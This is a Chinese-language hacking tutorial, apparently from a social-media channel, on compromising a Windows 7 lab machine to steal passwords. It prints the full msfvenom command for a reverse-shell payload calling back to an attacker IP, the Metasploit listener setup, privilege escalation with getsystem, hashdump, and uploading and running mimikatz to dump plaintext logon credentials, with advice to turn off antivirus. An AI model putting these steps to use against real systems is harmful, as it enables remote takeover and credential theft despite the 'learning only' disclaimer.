本文僅用于討論網絡安全技術,以保護信息安全為目的,請勿用于非法用途!
什么是hash(哈希)文件?
Hash,就是被一種特殊的加密方法加密過的一段特殊字符文件。常見的hash加密有:md5、sha-512,sha-256、sha1等。
Hash算法理論上是不可逆,也就說對hash算法無法將字符串解密成明文。但是我們可以通過碰撞的方法進行求解,通過不可逆的單向hash函數計算出它的hash值,然后與之前的hash進行比較,就能判斷是否解密。
從windows中獲取SAM的hash
Windows系統的SAM文件,就是被二次加密過的hash密文字符文件!這個SAM文件一般存在windows的系統目錄c:windowssystem32config中。如果是xp系統,不僅在上面的目錄中存在,而且還在c:windowsrepair目錄下存在備份的SAM文件。
注意,SAM文件不是單純的hash文件,它是被二次加密過的特殊字符文件,必須將它解密成正常的hash文件,才能繼續解密成明文密碼!
使用msfvenom生成windows有效載荷,kali終端下輸入:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.206 LPORT=8888 -f exe > test.exe
LHOST是你kali的橋接網絡IP;LPORT隨便設置,只要不和其他沖突即可。
將主目錄下生成的可執行載荷放到kali的/var/www/html中,并且刪除html目錄下.html為后綴的文件(沒有就不用管!)
開啟kali的Apache2服務,在終端中輸入: service apache2 start
Apache2可以提供基本的web服務,也就是說遠程的靶機可以訪問kali的ip就可以自動訪問kali的/va/www/html/下的文件,進行訪問下載!Apache2此時就相當于一個小型服務器!
win7靶機(橋接網絡)瀏覽器輸入:192.168.31.206,然后選中test.exe進行下載到桌面。
kali,啟動metasploit工具,并設置監聽:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.31.206
set lport 8888
run
既然已經設置了監聽,我們直接去win7模擬運行有效載荷test.exe,然后就會看到kali的metasploit就會收到會話!(這里建議將win7的360關掉)
我們已經獲得了win7靶機的meterpreter會話,現在我們可以通過一個meterpreter命令"hashdump"就可以直接下載win7靶機的hash文件,這里獲取的不是被二次加密的SAM文件,而是自動獲取win7被解密后的SAM文件形成的hash值!
但是我們首先需要看下當前獲得的會話是什么權限?輸入:getuid
管理員權限,不是system權限,無法提取hash值,我們第一步就需要直接輸入"getsystem"來使用meterpreter默認的技術進行win7提權!看看能不能變成system權限。執行完畢,輸入getuid查看,已經是system權限!Bingo!
知識補充:如果輸入getsystem無法提權,這就需要其他的利用模塊繞過win7的提權,這里暫時不講,以后會講解!
我們輸入:hashdump,看看是否得到hash值?
很不幸,沒有得到我們想要的hash值,原因是部分win7系統拒絕metasploit進行訪問提取hash,請記住,這是一種方法,有的系統是可以直接進行提取hash值的。我們繼續試探!
嘗試使用mimikatz
既然直接輸入hashdump不行,我們試試上傳mimikatz到win7靶機中進行遠程抓取!
首先將本課共享文件夾中的"mimikatz壓縮包"下載到kali主目錄下。關注小白嘿客,回復“想學”獲取!然后在meterpreter中將解壓后Win32文件夾中的文件上傳到win7靶機的c盤下。
上傳命令是:upload Win32 c:\
然后在meterpreter中輸入"shell"進入win7靶機的cmd終端模擬器。
如果出現亂碼,輸入chcp 65001即可解決亂碼。
這里獲得的cmd顯示在我們kali的桌面中,我們應該切換到c盤根目錄下(我們上面上傳過去的文件就在這里!),你發現cmd此時就在c:下,然后輸入dir查看驗證下遠程的win7靶機c盤是否有我們上傳上去的mimikatz!
在cmd中輸入:mimikatz.exe
遠程啟動我們的解密工具。這里需要提醒,如果之前的meterpreter會話斷開過,需要重現建立,而且要保證已經使用meterpreter的getsystem命令進行了本地對遠程win7靶機的提權!否則mimikatz.exe可能無法運行!
然后輸入:privilege::debug,顯示20 ok即可完成提權!
然后輸入:sekurlsa::logonPasswords,開始遠程抓取win7靶機的hash值!
你會很開心的!看下圖!
理論上會將win7靶機的所有用戶以及密碼都打印在meterpreter會話中的模擬cmd窗口中!我們這里只關注Administrator這個管理員用戶!你設置發現SHA1這種hash值根本就不用解密,紅色的框中已經自動解密出密碼123456,用戶Administrator了!
到此,我們利用meterpreter會話上傳mimikatz到win7靶機上,然后在kali中實現操控靶機的cmd,成功破解出了明文口令!根本就不需要拿到hash值,當然如果拿不到明文密碼,有hash值也可以直接進行破解。
我們知道,mimikatz容易被殺毒軟件查殺,也就是說我們本課將這個mimikatz上傳到win7靶機中后,如果有殺毒軟件,那是根本無法直接像本課一樣獲取遠程靶機的hash明文密碼的。所以我們需要另外一種技術,通過將遠程win7靶機的lsass.exe進程(該進程使用windows的用戶SAM文件)保存成一個dmp文件,然后下載到我們kali本地,直接在我們本地主機上使用mimikatz進行解密!
下節課,我們將探討規避360進行遠程破解、甚至是使用john直接解密SAM加密文件!更多精彩,關注小白嘿客,私信獲取hac技術課程!歡迎在下方評論區留言討論!